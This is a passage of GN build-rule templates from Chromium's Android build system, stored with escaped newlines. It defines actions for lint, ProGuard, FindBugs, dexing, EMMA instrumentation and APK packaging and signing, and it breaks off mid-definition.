import(\"//third_party/android_platform/config.gni\")\n\n  rebased_android_sdk = rebase_path(android_sdk, root_build_dir)\n  rebased_android_sdk_build_tools =\n      rebase_path(android_sdk_build_tools, root_build_dir)\n\n  android_sdk_jar = \"$android_sdk/android.jar\"\n  rebased_android_sdk_jar = rebase_path(android_sdk_jar, root_build_dir)\n  android_default_aapt_path = \"$rebased_android_sdk_build_tools/aapt\"\n\n  android_configuration_name = \"Release\"\n  if (is_debug) {\n    android_configuration_name = \"Debug\"\n  }\n\n  template(\"android_lint\") {\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"data_deps\",\n                               \"public_deps\",\n                               \"testonly\",\n                             ])\n      if (!defined(deps)) {\n        deps = []\n      }\n\n      if (!defined(lint_suppressions_file)) {\n        lint_suppressions_file = \"//build/android/lint/suppressions.xml\"\n      }\n\n      _cache_dir = \"$root_build_dir/android_lint_cache\"\n      _result_path = \"$target_gen_dir/$target_name/result.xml\"\n      _config_path = \"$target_gen_dir/$target_name/config.xml\"\n      _suppressions_file = lint_suppressions_file\n      _platform_xml_path =\n          \"${android_sdk_root}/platform-tools/api/api-versions.xml\"\n      _rebased_lint_android_sdk_root =\n          rebase_path(lint_android_sdk_root, root_build_dir)\n\n      script = \"//build/android/gyp/lint.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n      inputs = [\n        _platform_xml_path,\n        _suppressions_file,\n        invoker.android_manifest,\n      ]\n\n      outputs = [\n        _result_path,\n        _config_path,\n      ]\n\n      args = [\n        \"--lint-path=$_rebased_lint_android_sdk_root/tools/lint\",\n        \"--cache-dir\",\n        rebase_path(_cache_dir, root_build_dir),\n        \"--platform-xml-path\",\n        rebase_path(_platform_xml_path, root_build_dir),\n        \"--android-sdk-version=${lint_android_sdk_version}\",\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--config-path\",\n        rebase_path(_suppressions_file, root_build_dir),\n        \"--manifest-path\",\n        rebase_path(invoker.android_manifest, root_build_dir),\n        \"--product-dir=.\",\n        \"--processed-config-path\",\n        rebase_path(_config_path, root_build_dir),\n        \"--result-path\",\n        rebase_path(_result_path, root_build_dir),\n        \"--enable\",\n      ]\n\n      if (defined(invoker.create_cache) && invoker.create_cache) {\n        args += [\n          \"--create-cache\",\n          \"--silent\",\n        ]\n      } else {\n        inputs += invoker.java_files\n        inputs += [\n          invoker.jar_path,\n          invoker.build_config,\n        ]\n        if (invoker.java_files != []) {\n          inputs += [ invoker.java_sources_file ]\n          _rebased_java_sources_file =\n              rebase_path(invoker.java_sources_file, root_build_dir)\n          args += [ \"--java-sources-file=$_rebased_java_sources_file\" ]\n        }\n        deps += [ \"//build/android:prepare_android_lint_cache\" ]\n\n        _rebased_build_config =\n            rebase_path(invoker.build_config, root_build_dir)\n        args += [\n          \"--jar-path\",\n          rebase_path(invoker.jar_path, root_build_dir),\n          \"--classpath=@FileArg($_rebased_build_config:javac:interface_classpath)\",\n          \"--resource-sources=@FileArg($_rebased_build_config:deps_info:owned_resources_dirs)\",\n          \"--resource-sources=@FileArg($_rebased_build_config:deps_info:owned_resources_zips)\",\n          \"--can-fail-build\",\n        ]\n      }\n    }\n  }\n\n  template(\"proguard\") {\n    action(target_name) {\n      set_sources_assignment_filter([])\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"data_deps\",\n                               \"public_deps\",\n                               \"testonly\",\n                             ])\n      script = \"//build/android/gyp/proguard.py\"\n      if (defined(invoker.proguard_jar_path)) {\n        _proguard_jar_path = invoker.proguard_jar_path\n      } else {\n        _proguard_jar_path = \"//third_party/proguard/lib/proguard.jar\"\n      }\n      _output_jar_path = invoker.output_jar_path\n      inputs = [\n        _proguard_jar_path,\n      ]\n      if (defined(invoker.alternative_android_sdk_jar)) {\n        inputs += [ invoker.alternative_android_sdk_jar ]\n        _rebased_android_sdk_jar =\n            rebase_path(invoker.alternative_android_sdk_jar)\n      } else {\n        inputs += [ android_sdk_jar ]\n        _rebased_android_sdk_jar = rebased_android_sdk_jar\n      }\n      if (defined(invoker.inputs)) {\n        inputs += invoker.inputs\n      }\n      depfile = \"${target_gen_dir}/${target_name}.d\"\n      outputs = [\n        _output_jar_path,\n        \"$_output_jar_path.dump\",\n        \"$_output_jar_path.seeds\",\n        \"$_output_jar_path.mapping\",\n        \"$_output_jar_path.usage\",\n      ]\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--proguard-path\",\n        rebase_path(_proguard_jar_path, root_build_dir),\n        \"--output-path\",\n        rebase_path(_output_jar_path, root_build_dir),\n        \"--classpath\",\n        _rebased_android_sdk_jar,\n      ]\n      if (proguard_verbose) {\n        args += [ \"--verbose\" ]\n      }\n      if (defined(invoker.args)) {\n        args += invoker.args\n      }\n      if (defined(invoker.proguard_jar_path)) {\n        # We assume that if we are using a different ProGuard, this new version\n        # can handle the 'dangerous' optimizaions.\n        args += [ \"--enable-dangerous-optimizations\" ]\n      }\n    }\n  }\n\n  template(\"findbugs\") {\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"testonly\",\n                             ])\n      script = \"//build/android/findbugs_diff.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n      _result_path = \"$target_gen_dir/$target_name/result.xml\"\n      _exclusions_file = \"//build/android/findbugs_filter/findbugs_exclude.xml\"\n\n      _rebased_build_config = rebase_path(invoker.build_config, root_build_dir)\n\n      inputs = [\n        \"//build/android/pylib/utils/findbugs.py\",\n        _exclusions_file,\n        invoker.jar_path,\n        invoker.build_config,\n      ]\n\n      outputs = [\n        _result_path,\n      ]\n\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--exclude\",\n        rebase_path(_exclusions_file, root_build_dir),\n        \"--auxclasspath-gyp\",\n        \"@FileArg($_rebased_build_config:javac:classpath)\",\n        \"--output-file\",\n        rebase_path(_result_path, root_build_dir),\n        rebase_path(invoker.jar_path, root_build_dir),\n      ]\n\n      if (findbugs_verbose) {\n        args += [ \"-vv\" ]\n      }\n    }\n  }\n\n  # Generates a script in the build bin directory to run a java binary.\n  #\n  # Variables\n  #   main_class: The class containing the program entry point.\n  #   jar_path: The path to the jar to run.\n  #   script_name: Name of the script to generate.\n  #   build_config: Path to .build_config for the jar (contains classpath).\n  #   wrapper_script_args: List of extra arguments to pass to the executable.\n  #\n  template(\"java_binary_script\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    _main_class = invoker.main_class\n    _build_config = invoker.build_config\n    _jar_path = invoker.jar_path\n    _script_name = invoker.script_name\n\n    action(target_name) {\n      script = \"//build/android/gyp/create_java_binary_script.py\"\n      depfile = \"$target_gen_dir/$_script_name.d\"\n      java_script = \"$root_build_dir/bin/$_script_name\"\n      inputs = [\n        _build_config,\n      ]\n      outputs = [\n        java_script,\n      ]\n      forward_variables_from(invoker, [ \"deps\" ])\n      _rebased_build_config = rebase_path(_build_config, root_build_dir)\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--output\",\n        rebase_path(java_script, root_build_dir),\n        \"--classpath=@FileArg($_rebased_build_config:deps_info:java:full_classpath)\",\n        \"--jar-path\",\n        rebase_path(_jar_path, root_build_dir),\n        \"--main-class\",\n        _main_class,\n      ]\n      if (emma_coverage) {\n        args += [\n          \"--classpath\",\n          rebase_path(\"//third_party/android_tools/sdk/tools/lib/emma.jar\",\n                      root_build_dir),\n        ]\n        args += [ \"--noverify\" ]\n      }\n      if (defined(invoker.wrapper_script_args)) {\n        args += [ \"--\" ] + invoker.wrapper_script_args\n      }\n      if (defined(invoker.bootclasspath)) {\n        args += [\n          \"--bootclasspath\",\n          rebase_path(invoker.bootclasspath, root_build_dir),\n        ]\n      }\n    }\n  }\n\n  template(\"dex\") {\n    set_sources_assignment_filter([])\n\n    _enable_multidex =\n        defined(invoker.enable_multidex) && invoker.enable_multidex\n\n    if (_enable_multidex) {\n      _main_dex_list_path = invoker.output + \".main_dex_list\"\n      _main_dex_list_target_name = \"${target_name}__main_dex_list\"\n      action(_main_dex_list_target_name) {\n        forward_variables_from(invoker,\n                               [\n                                 \"deps\",\n                                 \"inputs\",\n                                 \"sources\",\n                                 \"testonly\",\n                               ])\n\n        script = \"//build/android/gyp/main_dex_list.py\"\n        depfile = \"$target_gen_dir/$target_name.d\"\n\n        main_dex_rules = \"//build/android/main_dex_classes.flags\"\n\n        if (!defined(inputs)) {\n          inputs = []\n        }\n        inputs += [ main_dex_rules ]\n\n        outputs = [\n          _main_dex_list_path,\n        ]\n\n        args = [\n          \"--depfile\",\n          rebase_path(depfile, root_build_dir),\n          \"--android-sdk-tools\",\n          rebased_android_sdk_build_tools,\n          \"--main-dex-list-path\",\n          rebase_path(_main_dex_list_path, root_build_dir),\n          \"--main-dex-rules-path\",\n          rebase_path(main_dex_rules, root_build_dir),\n        ]\n\n        if (defined(invoker.args)) {\n          args += invoker.args\n        }\n\n        if (defined(invoker.sources)) {\n          args += rebase_path(invoker.sources, root_build_dir)\n        }\n      }\n    }\n\n    assert(defined(invoker.output))\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"inputs\",\n                               \"sources\",\n                               \"testonly\",\n                             ])\n      script = \"//build/android/gyp/dex.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n      outputs = [\n        invoker.output,\n      ]\n\n      rebased_output = rebase_path(invoker.output, root_build_dir)\n\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--android-sdk-tools\",\n        rebased_android_sdk_build_tools,\n        \"--dex-path\",\n        rebased_output,\n      ]\n\n      if (enable_incremental_dx) {\n        args += [ \"--incremental\" ]\n      }\n\n      # EMMA requires --no-locals.\n      if (emma_coverage) {\n        args += [ \"--no-locals=1\" ]\n      }\n\n      if (_enable_multidex) {\n        args += [\n          \"--multi-dex\",\n          \"--main-dex-list-path\",\n          rebase_path(_main_dex_list_path, root_build_dir),\n        ]\n        deps += [ \":${_main_dex_list_target_name}\" ]\n        inputs += [ _main_dex_list_path ]\n      }\n\n      if (defined(invoker.args)) {\n        args += invoker.args\n      }\n\n      if (defined(invoker.sources)) {\n        args += rebase_path(invoker.sources, root_build_dir)\n      }\n    }\n  }\n\n  template(\"process_java_prebuilt\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    assert(invoker.build_config != \"\")\n    _build_config = invoker.build_config\n    _rebased_build_config = rebase_path(_build_config, root_build_dir)\n    assert(_rebased_build_config != \"\" || true)  # Mark used.\n\n    _input_jar_path = invoker.input_jar_path\n    _output_jar_path = invoker.output_jar_path\n\n    _jar_excluded_patterns = []\n    if (defined(invoker.jar_excluded_patterns)) {\n      _jar_excluded_patterns = invoker.jar_excluded_patterns\n    }\n    _strip_resource_classes = defined(invoker.strip_resource_classes) &&\n                              invoker.strip_resource_classes\n    _filter_jar = _jar_excluded_patterns != [] || _strip_resource_classes\n\n    _proguard_preprocess =\n        defined(invoker.proguard_preprocess) && invoker.proguard_preprocess\n\n    _enable_assert =\n        defined(invoker.supports_android) && invoker.supports_android &&\n        (is_java_debug || dcheck_always_on)\n\n    _retrolambda = defined(invoker.supports_android) &&\n                   invoker.supports_android && use_java8\n\n    _deps = []\n    _previous_output_jar = _input_jar_path\n\n    if (_filter_jar) {\n      _filter_target = \"${target_name}__filter\"\n      _filter_input_jar = _previous_output_jar\n      _filter_output_jar = \"$target_out_dir/$target_name-filtered.jar\"\n\n      action(_filter_target) {\n        script = \"//build/android/gyp/jar.py\"\n        deps = _deps\n        if (defined(invoker.deps)) {\n          deps += invoker.deps\n        }\n        if (defined(invoker.public_deps)) {\n          public_deps = invoker.public_deps\n        }\n        inputs = [\n          _build_config,\n          _filter_input_jar,\n        ]\n        outputs = [\n          _filter_output_jar,\n        ]\n        args = [\n          \"--input-jar\",\n          rebase_path(_filter_input_jar, root_build_dir),\n          \"--jar-path\",\n          rebase_path(_filter_output_jar, root_build_dir),\n          \"--excluded-classes=$_jar_excluded_patterns\",\n        ]\n        if (_strip_resource_classes) {\n          args += [ \"--strip-resource-classes-for=@FileArg($_rebased_build_config:javac:resource_packages)\" ]\n        }\n      }\n\n      _deps = []\n      _deps = [ \":$_filter_target\" ]\n      _previous_output_jar = _filter_output_jar\n    }\n\n    if (_proguard_preprocess) {\n      _proguard_target = \"${target_name}__proguard_process\"\n      _proguard_input_jar = _previous_output_jar\n      _proguard_output_jar = \"$target_out_dir/$target_name-proguarded.jar\"\n      _proguard_config_path = invoker.proguard_preprocess_config\n\n      proguard(_proguard_target) {\n        deps = _deps\n        if (defined(invoker.deps)) {\n          deps += invoker.deps\n        }\n        if (defined(invoker.public_deps)) {\n          public_deps = invoker.public_deps\n        }\n        inputs = [\n          _build_config,\n          _proguard_config_path,\n          _proguard_input_jar,\n        ]\n        output_jar_path = _proguard_output_jar\n\n        _rebased_input_paths =\n            [ rebase_path(_proguard_input_jar, root_build_dir) ]\n        _rebased_proguard_configs =\n            [ rebase_path(_proguard_config_path, root_build_dir) ]\n        args = [\n          \"--input-paths=$_rebased_input_paths\",\n          \"--proguard-configs=$_rebased_proguard_configs\",\n          \"--classpath=@FileArg($_rebased_build_config:javac:classpath)\",\n        ]\n      }\n\n      _deps = []\n      _deps = [ \":$_proguard_target\" ]\n      _previous_output_jar = _proguard_output_jar\n    }\n\n    if (_enable_assert) {\n      _assert_target = \"${target_name}__assert\"\n      _assert_input_jar = _previous_output_jar\n      _assert_output_jar = \"$target_out_dir/$target_name-asserted.jar\"\n\n      action(_assert_target) {\n        script = \"$root_build_dir/bin/helper/java_assertion_enabler\"\n        deps = [\n          \"//build/android/java_assertion_enabler($default_toolchain)\",\n        ]\n        deps += _deps\n        if (defined(invoker.deps)) {\n          deps += invoker.deps\n        }\n        if (defined(invoker.public_deps)) {\n          public_deps = invoker.public_deps\n        }\n        inputs = [\n          _assert_input_jar,\n        ]\n        outputs = [\n          _assert_output_jar,\n        ]\n        args = [\n          rebase_path(_assert_input_jar, root_build_dir),\n          rebase_path(_assert_output_jar, root_build_dir),\n        ]\n      }\n\n      _deps = []\n      _deps = [ \":$_assert_target\" ]\n      _previous_output_jar = _assert_output_jar\n    }\n\n    if (_retrolambda) {\n      _retrolambda_target = \"${target_name}__retrolambda\"\n      _retrolambda_input_jar = _previous_output_jar\n      _retrolambda_output_jar = \"$target_out_dir/$target_name-retrolambda.jar\"\n\n      android_sdk_jar = \"$android_sdk/android.jar\"\n      action(_retrolambda_target) {\n        script = \"//build/android/gyp/retrolambda.py\"\n        deps = _deps\n        if (defined(invoker.deps)) {\n          deps += invoker.deps\n        }\n        if (defined(invoker.public_deps)) {\n          public_deps = invoker.public_deps\n        }\n        inputs = [\n          _build_config,\n          _retrolambda_input_jar,\n        ]\n        outputs = [\n          _retrolambda_output_jar,\n        ]\n        args = [\n          \"--input-jar\",\n          rebase_path(_retrolambda_input_jar, root_build_dir),\n          \"--output-jar\",\n          rebase_path(_retrolambda_output_jar, root_build_dir),\n          \"--classpath=@FileArg($_rebased_build_config:javac:classpath)\",\n          \"--android-sdk-jar\",\n          rebase_path(android_sdk_jar, root_build_dir),\n        ]\n      }\n\n      _deps = []\n      _deps = [ \":$_retrolambda_target\" ]\n      _previous_output_jar = _retrolambda_output_jar\n    }\n\n    _output_jar_target = \"${target_name}__copy\"\n    copy(_output_jar_target) {\n      deps = _deps\n      if (defined(invoker.deps)) {\n        deps += invoker.deps\n      }\n      if (defined(invoker.public_deps)) {\n        public_deps = invoker.public_deps\n      }\n      sources = [\n        _previous_output_jar,\n      ]\n      outputs = [\n        _output_jar_path,\n      ]\n    }\n\n    group(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"data_deps\",\n                               \"visibility\",\n                             ])\n      public_deps = [\n        \":$_output_jar_target\",\n      ]\n    }\n  }\n\n  template(\"emma_instr\") {\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"testonly\",\n                             ])\n\n      _coverage_file = \"$target_out_dir/${target_name}.em\"\n      _source_dirs_listing_file = \"$target_out_dir/${target_name}_sources.txt\"\n      _emma_jar = \"${android_sdk_root}/tools/lib/emma.jar\"\n\n      script = \"//build/android/gyp/emma_instr.py\"\n      depfile = \"${target_gen_dir}/${target_name}.d\"\n      inputs = invoker.java_files + [\n                 _emma_jar,\n                 invoker.input_jar_path,\n               ]\n      outputs = [\n        _coverage_file,\n        _source_dirs_listing_file,\n        invoker.output_jar_path,\n      ]\n      args = [\n        \"instrument_jar\",\n        \"--input-path\",\n        rebase_path(invoker.input_jar_path, root_build_dir),\n        \"--output-path\",\n        rebase_path(invoker.output_jar_path, root_build_dir),\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--coverage-file\",\n        rebase_path(_coverage_file, root_build_dir),\n        \"--sources-list-file\",\n        rebase_path(_source_dirs_listing_file, root_build_dir),\n        \"--src-root\",\n        rebase_path(\"//\", root_build_dir),\n        \"--emma-jar\",\n        rebase_path(_emma_jar, root_build_dir),\n      ]\n      _rebased_java_sources_file =\n          rebase_path(invoker.java_sources_file, root_build_dir)\n      args += [ \"--java-sources-file=$_rebased_java_sources_file\" ]\n\n      if (emma_filter != \"\") {\n        args += [\n          \"--filter-string\",\n          emma_filter,\n        ]\n      }\n    }\n  }\n\n  # Creates an unsigned .apk.\n  #\n  # Variables\n  #   assets_build_config: Path to android_apk .build_config containing merged\n  #       asset information.\n  #   deps: Specifies the dependencies of this target.\n  #   dex_path: Path to classes.dex file to include (optional).\n  #   resource_packaged_apk_path: Path to .ap_ to use.\n  #   output_apk_path: Output path for the generated .apk.\n  #   native_lib_placeholders: List of placeholder filenames to add to the apk\n  #     (optional).\n  #   native_libs: List of native libraries.\n  #   native_libs_filearg: @FileArg() of additionaly native libraries.\n  #   write_asset_list: Adds an extra file to the assets, which contains a list of\n  #     all other asset files.\n  template(\"package_apk\") {\n    action(target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"public_deps\",\n                               \"testonly\",\n                             ])\n      _native_lib_placeholders = []\n      if (defined(invoker.native_lib_placeholders)) {\n        _native_lib_placeholders = invoker.native_lib_placeholders\n      }\n\n      script = \"//build/android/gyp/apkbuilder.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n      data_deps = [\n        \"//tools/android/md5sum\",\n      ]  # Used when deploying APKs\n\n      inputs = invoker.native_libs + [ invoker.resource_packaged_apk_path ]\n      if (defined(invoker.dex_path)) {\n        inputs += [ invoker.dex_path ]\n      }\n\n      outputs = [\n        invoker.output_apk_path,\n      ]\n\n      _rebased_resource_packaged_apk_path =\n          rebase_path(invoker.resource_packaged_apk_path, root_build_dir)\n      _rebased_packaged_apk_path =\n          rebase_path(invoker.output_apk_path, root_build_dir)\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--resource-apk=$_rebased_resource_packaged_apk_path\",\n        \"--output-apk=$_rebased_packaged_apk_path\",\n      ]\n      if (defined(invoker.assets_build_config)) {\n        inputs += [ invoker.assets_build_config ]\n        _rebased_build_config =\n            rebase_path(invoker.assets_build_config, root_build_dir)\n        args += [\n          \"--assets=@FileArg($_rebased_build_config:assets)\",\n          \"--uncompressed-assets=@FileArg($_rebased_build_config:uncompressed_assets)\",\n        ]\n      }\n      if (defined(invoker.write_asset_list) && invoker.write_asset_list) {\n        args += [ \"--write-asset-list\" ]\n      }\n      if (defined(invoker.dex_path)) {\n        _rebased_dex_path = rebase_path(invoker.dex_path, root_build_dir)\n        args += [ \"--dex-file=$_rebased_dex_path\" ]\n      }\n      if (invoker.native_libs != [] || defined(invoker.native_libs_filearg) ||\n          _native_lib_placeholders != []) {\n        args += [ \"--android-abi=$android_app_abi\" ]\n      }\n      if (invoker.native_libs != []) {\n        _rebased_native_libs = rebase_path(invoker.native_libs, root_build_dir)\n        args += [ \"--native-libs=$_rebased_native_libs\" ]\n      }\n      if (defined(invoker.native_libs_filearg)) {\n        args += [ \"--native-libs=${invoker.native_libs_filearg}\" ]\n      }\n      if (_native_lib_placeholders != []) {\n        args += [ \"--native-lib-placeholders=$_native_lib_placeholders\" ]\n      }\n\n      # TODO (michaelbai): Remove the secondary_native_libs variable.\n      if (defined(invoker.secondary_abi_native_libs_filearg)) {\n        assert(defined(android_app_secondary_abi))\n        args += [\n          \"--secondary-native-libs=${invoker.secondary_abi_native_libs_filearg}\",\n          \"--secondary-android-abi=$android_app_secondary_abi\",\n        ]\n      } else if (defined(invoker.secondary_native_libs) &&\n                 invoker.secondary_native_libs != []) {\n        assert(defined(android_app_secondary_abi))\n        inputs += invoker.secondary_native_libs\n        _secondary_native_libs = rebase_path(invoker.secondary_native_libs)\n        args += [\n          \"--secondary-native-libs=$_secondary_native_libs\",\n          \"--secondary-android-abi=$android_app_secondary_abi\",\n        ]\n      }\n\n      if (defined(invoker.emma_instrument) && invoker.emma_instrument) {\n        _emma_device_jar = \"$android_sdk_root/tools/lib/emma_device.jar\"\n        _rebased_emma_device_jar = rebase_path(_emma_device_jar, root_build_dir)\n        args += [ \"--emma-device-jar=$_rebased_emma_device_jar\" ]\n      }\n\n      if (defined(invoker.uncompress_shared_libraries) &&\n          invoker.uncompress_shared_libraries) {\n        args += [ \"--uncompress-shared-libraries\" ]\n      }\n    }\n  }\n\n  # Signs & zipaligns an apk.\n  #\n  # Variables\n  #   input_apk_path: Path of the .apk to be finalized.\n  #   output_apk_path: Output path for the generated .apk.\n  #   keystore_path: Path to keystore to use for signing.\n  #   keystore_name: Key alias to use.\n  #   keystore_password: Keystore password.\n  #   rezip_apk: Whether to add crazy-linker alignment.\n  template(\"finalize_apk\") {\n    action(target_name) {\n      deps = []\n      script = \"//build/android/gyp/finalize_apk.py\"\n      depfile = \"$target_gen_dir/$target_name.d\"\n      forward_variables_from(invoker,\n                             [\n                               \"deps\",\n                               \"data_deps\",\n                               \"public_deps\",\n                               \"testonly\",\n                             ])\n\n      sources = [\n        invoker.input_apk_path,\n      ]\n      inputs = [\n        invoker.keystore_path,\n      ]\n      outputs = [\n        invoker.output_apk_path,\n      ]\n      data = [\n        invoker.output_apk_path,\n      ]\n\n      args = [\n        \"--depfile\",\n        rebase_path(depfile, root_build_dir),\n        \"--zipalign-path\",\n        rebase_path(zipalign_path, root_build_dir),\n        \"--unsigned-apk-path\",\n        rebase_path(invoker.input_apk_path, root_build_dir),\n        \"--final-apk-path\",\n        rebase_path(invoker.output_apk_path, root_build_dir),\n        \"--key-path\",\n        rebase_path(invoker.keystore_path, root_build_dir),\n        \"--key-name\",\n        invoker.keystore_name,\n        \"--key-passwd\",\n        invoker.keystore_password,\n      ]\n      if (defined(invoker.rezip_apk) && invoker.rezip_apk) {\n        deps += [ \"//build/android/rezip\" ]\n        _rezip_jar_path = \"$root_build_dir/lib.java/rezip_apk.jar\"\n        args += [\n          \"--load-library-from-zip=1\",\n          \"--rezip-apk-jar-path\",\n          rebase_path(_rezip_jar_path, root_build_dir),\n        ]\n      }\n\n      if (defined(invoker.page_align_shared_libraries) &&\n          invoker.page_align_shared_libraries) {\n        args += [ \"--page-align-shared-libraries\" ]\n      }\n    }\n  }\n\n  # Packages resources, assets, dex, and native libraries into an apk. Signs and\n  # zipaligns the apk.\n  template(\"create_apk\") {\n    set_sources_assignment_filter([])\n    forward_variables_from(invoker, [ \"testonly\" ])\n\n    _android_manifest = invoker.android_manifest\n    _base_path = invoker.base_path\n    _final_apk_path = invoker.apk_path\n    _incremental_final_apk_path_helper =\n        process_file_template(\n            [ _final_apk_path ],\n            \"{{source_dir}}/{{source_name_part}}_incremental.apk\")\n    _incremental_final_apk_path = _incremental_final_apk_path_helper[0]\n\n    if (defined(invoker.resources_zip)) {\n      _resources_zip = invoker.resources_zip\n      assert(_resources_zip != \"\")  # Mark as used.\n    }\n    if (defined(invoker.dex_path)) {\n      _dex_path = invoker.dex_path\n    }\n    _load_library_from_apk = invoker.load_library_from_apk\n\n    _deps = []\n    if (defined(invoker.deps)) {\n      _deps = invoker.deps\n    }\n    _incremental_deps = []\n    if (defined(invoker.incremental_deps)) {\n      _incremental_deps = invoker.incremental_deps\n    }\n    _native_libs = []\n    if (defined(invoker.native_libs)) {\n      _native_libs = invoker.native_libs\n    }\n    _native_libs_even_when_incremental = []\n    if (defined(invoker.native_libs_even_when_incremental)) {\n      _native_libs_even_when_incremental =\n          invoker.native_libs_even_when_incremental\n    }\n\n    _version_code = invoker.version_code\n    _version_name = invoker.version_name\n    assert(_version_code != -1)  # Mark as used.\n    assert(_version_name != \"\")  # Mark as used.\n\n    _base_apk_path = _base_path + \".apk_intermediates\"\n\n    _resource_packaged_apk_path = _base_apk_path + \".ap_\"\n    _incremental_resource_packaged_apk_path =\n        _base_apk_path + \"_incremental.ap_\"\n    _packaged_apk_path = _base_apk_path + \".unfinished.apk\"\n    _incremental_packaged_apk_path =\n        _base_apk_path + \"_incremental.unfinished.apk\"\n    _shared_resources =\n        defined(invoker.shared_resources) && invoker.shared_resources\n    assert(_shared_resources || true)  # Mark as used.\n    _app_as_shared_lib =\n        defined(invoker.app_as_shared_lib) && invoker.app_as_shared_lib\n    assert(_app_as_shared_lib || true)  # Mark as used.\n    assert(!(_shared_resources && _app_as_shared_lib))\n\n    _keystore_path = invoker.keystore_path\n    _keystore_name = invoker.keystore_name\n    _keystore_password = invoker.keystore_password\n\n    _split_densities = []\n    if (defined(invoker.create_density_splits) &&\n        invoker.create_density_splits) {\n      _split_densities = [\n        \"hdpi\",\n        \"xhdpi\",\n        \"xxhdpi\",\n        \"xxxhdpi\",\n        \"tvdpi\",\n      ]\n    }\n\n    _split_languages = []\n    if (defined(invoker.language_splits)) {\n      _split_languages = invoker.language_splits\n    }\n\n    template(\"package_resources_helper\") {\n      action(target_name) {\n        deps = invoker.deps\n\n        script = \"//build/android/gyp/package_resources.py\"\n        depfile = \"${target_gen_dir}/${target_name}.d\"\n        inputs = [\n          invoker.android_manifest,\n        ]\n        if (defined(_resources_zip)) {\n          inputs += [ _resources_zip ]\n        }\n        outputs = [\n          invoker.resource_packaged_apk_path,\n        ]\n\n        if (defined(invoker.android_aapt_path)) {\n          _android_aapt_path = invoker.android_aapt_path\n        } else {\n          _android_aapt_path = android_default_aapt_path\n        }\n\n        if (defined(invoker.alternative_android_sdk_jar)) {\n          _rebased_android_sdk_jar =\n              rebase_path(invoker.alternative_android_sdk_jar)\n        } else {\n          _rebased_android_sdk_jar = rebased_android_sdk_jar\n        }\n\n        args = [\n          \"--depfile\",\n          rebase_path(depfile, root_build_dir),\n          \"--android-sdk-jar\",\n          _rebased_android_sdk_jar,\n          \"--aapt-path\",\n          _android_aapt_path,\n          \"--configuration-name=$android_configuration_name\",\n          \"--android-manifest\",\n          rebase_path(invoker.android_manifest, root_build_dir),\n          \"--version-code\",\n          _version_code,\n          \"--version-name\",\n          _version_name,\n          \"--apk-path\",\n          rebase_path(invoker.resource_packaged_apk_path, root_build_dir),\n        ]\n\n        if (defined(_resources_zip)) {\n          args += [\n            \"--resource-zips\",\n            rebase_path(_resources_zip, root_build_dir),\n          ]\n        }\n        if (_shared_resources) {\n          args += [ \"--shared-resources\" ]\n        }\n        if (_app_as_shared_lib) {\n          args += [ \"--app-as-shared-lib\" ]\n        }\n        if (_split_densities != []) {\n          args += [ \"--create-density-splits\" ]\n          foreach(_density, _split_densities) {\n            outputs += [ \"${invoker.resource_packaged_apk_path}_${_density}\" ]\n          }\n        }\n        if (_split_languages != []) {\n          args += [ \"--language-splits=$_split_languages\" ]\n          foreach(_language, _split_languages) {\n            outputs += [ \"${invoker.resource_packaged_apk_path}_${_language}\" ]\n          }\n        }\n        if (defined(invoker.extensions_to_not_compress)) {\n          args += [\n            \"--no-compress\",\n            invoker.extensions_to_not_compress,\n          ]\n        }\n      }\n    }\n\n    _package_resources_target_name = \"${target_name}__package_resources\"\n    package_resources_helper(_package_resources_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"alternative_android_sdk_jar\",\n                               \"android_aapt_path\",\n                               \"extensions_to_not_compress\",\n                             ])\n      deps = _deps\n      android_manifest = _android_manifest\n      resource_packaged_apk_path = _resource_packaged_apk_path\n    }\n\n    _generate_incremental_manifest_target_name =\n        \"${target_name}_incremental_generate_manifest\"\n    _incremental_android_manifest =\n        get_label_info(_generate_incremental_manifest_target_name,\n                       \"target_gen_dir\") + \"/AndroidManifest.xml\"\n    action(_generate_incremental_manifest_target_name) {\n      deps = _incremental_deps\n      script =\n          \"//build/android/incremental_install/generate_android_manifest.py\"\n      depfile = \"${target_gen_dir}/${target_name}.d\"\n      inputs = [\n        _android_manifest,\n      ]\n      outputs = [\n        _incremental_android_manifest,\n      ]\n\n      _rebased_src_manifest = rebase_path(_android_manifest, root_build_dir)\n      _rebased_incremental_manifest =\n          rebase_path(_incremental_android_manifest, root_build_dir)\n      _rebased_depfile = rebase_path(depfile, root_build_dir)\n      args = [\n        \"--src-manifest=$_rebased_src_manifest\",\n        \"--out-manifest=$_rebased_incremental_manifest\",\n        \"--depfile=$_rebased_depfile\",\n      ]\n      if (disable_incremental_isolated_processes) {\n        args += [ \"--disable-isolated-processes\" ]\n      }\n    }\n\n    _incremental_package_resources_target_name =\n        \"${target_name}_incremental__package_resources\"\n\n    # TODO(agrieve): See if we can speed up this step by swapping the manifest\n    # from the result of the main package_resources step.\n    package_resources_helper(_incremental_package_resources_target_name) {\n      forward_variables_from(invoker,\n                             [\n                               \"alternative_android_sdk_jar\",\n                               \"android_aapt_path\",\n                               \"extensions_to_not_compress\",\n                             ])\n      deps =\n          _incremental_deps + [ \":$_generate_incremental_manifest_target_name\" ]\n      android_manifest = 